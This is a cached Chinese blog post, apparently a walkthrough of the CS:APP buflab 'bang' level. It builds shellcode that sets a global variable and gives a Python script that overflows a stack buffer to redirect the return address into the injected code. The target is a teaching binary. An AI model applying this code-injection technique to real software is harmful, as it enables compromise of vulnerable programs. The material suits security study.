csapp lab3 bufbomb(level 2)
原文链接 http://woodrat.xyz/2014/11/22/csapp-lab3-bufbomb-2/
注:以下为加速网络访问所做的原文缓存,经过重新格式化,可能存在格式方面的问题,或偶有遗漏信息,请以原文为准。
<!--[CDATA[
上一个lab还有两关没有做完,但是懒的挨个截图写下来咯=.=,先看看第三个实验,听起来就很好玩 : )
找了半天才找到一个可用的32位的版本,原版会要求在他的shark machine上运行, The Hardware/Software Interface上又是64位的版本.最后在github上找到了一个可以用的32位版https://github.com/Mithrilwoodrat/CSAPP-Labs/tree/master/buflab.
前两关相当简单,网上一大堆答案,就不写咯,写下第三个,bang =.=
实验自带的sendstring是64位版本的,http://my.oschina.net/gallant/blog/96049?上有32位的源码,可以下载自己编译.但是事实上,自己写个Py脚本更方便,还可以加上注释=.=,我写了一个Py oneline版https://github.com/Mithrilwoodrat/hex2raw
bang的源码如下
int global_value = 0; void bang(int val) { if (global_value == cookie) { printf("Bang!: You set global_value to 0x%x\n", global_value); validate(2); } else printf("Misfire: global_value = 0x%x\n", global_value);
exit(0); }
因为global_value是全局变量,无法简单覆盖,需要执行一段代码,设置global_value为cookie值.
我指定的用户名为123
./bufbomb -u 123
得到cookie值为0x70a28da5
反汇编bang的代码如下
08049022 <bang>: 8049022: 55 push %ebp 8049023: 89 e5 mov %esp,%ebp 8049025: 83 ec 18 sub $0x18,%esp 8049028: a1 ec c1 04 08 mov 0x804c1ec,%eax 804902d: 3b 05 e4 c1 04 08 cmp 0x804c1e4,%eax 8049033: 75 1e jne 8049053 <bang+0x31> 8049035: 89 44 24 04 mov %eax,0x4(%esp) 8049039: c7 04 24 90 a1 04 08 movl $0x804a190,(%esp) 8049040: e8 9b f8 ff ff call 80488e0 <printf@plt> 8049045: c7 04 24 02 00 00 00 movl $0x2,(%esp) 804904c: e8 93 00 00 00 call 80490e4 <validate> 8049051: eb 10 jmp 8049063 <bang+0x41> 8049053: 89 44 24 04 mov %eax,0x4(%esp) 8049057: c7 04 24 79 9f 04 08 movl $0x8049f79,(%esp) 804905e: e8 7d f8 ff ff call 80488e0 <printf@plt> 8049063: c7 04 24 00 00 00 00 movl $0x0,(%esp) 804906a: e8 21 f9 ff ff call 8048990 <exit@plt>
查看后发现0x804c1ec为global_value,0x804c1e4为cookie,同为全局变量,它们的位置很靠近.
所以编写汇编代码如下
mov $0x70a28da5, %ebx mov $0x804c1ec, %eax mov %ebx, (%eax) ret
cookie at 0x804c1e4
global_value at 0x804c1ec
事实上我一开始是将 0x804c1e4的内容移动到0x804c1ec,完成后参考了上面那个blog中的代码才发现我当时脑子短路了.
gcc -c -m32 bang.s
然后
objdump -S bang.o > bang.dump
生成的内容如下
bang.o: file format elf32-i386
Disassembly of section .text:
00000000 <.text>: 0: bb a5 8d a2 70 mov $0x70a28da5,%ebx 5: b8 ec c1 04 08 mov $0x804c1ec,%eax a: 89 18 mov %ebx,(%eax) c: c3 ret
现在剩下的就是确定buf的位置,然后像之前一样覆盖跳转的位置,只不过把返回地址改为buf开始处而已.
在 getbuf处下断点,然后x $ebp.将得到的值减去40就是buf的起始地址了,我的虚拟机中为0x556836c8
现在万事具备了,可以编写我们的shellcode了.exploit3.py如下
#cookie :0x70a28da5
buf 0x556836c8
bang #08049022
shellcode = '\xbb\xa5\x8d\xa2\x70'+'\xb8\xec\xc1\x04\x08'+'\x89\x18'+'\xc3'
mov $0x70a28da5,%ebx
mov $0x804c1ec,%eax
mov %ebx,(%eax)
ret
shellcode= shellcode + (40 - len(shellcode))*'a'
print shellcode
shellcode = shellcode +'a'*4 + '\xc8\x36\x68\x55'+'\x22\x90\x04\x08'# ret buf and ret bang print shellcode
是不是比直接写XXX.txt爽快多了呢.如果这样还嫌麻烦的话,可以把bang.dump中的16进制字符串复制到一个py字符串s中,使用
s = reduce(lambda x,y:x+y,[chr(int(i,16)) for i in s.split()])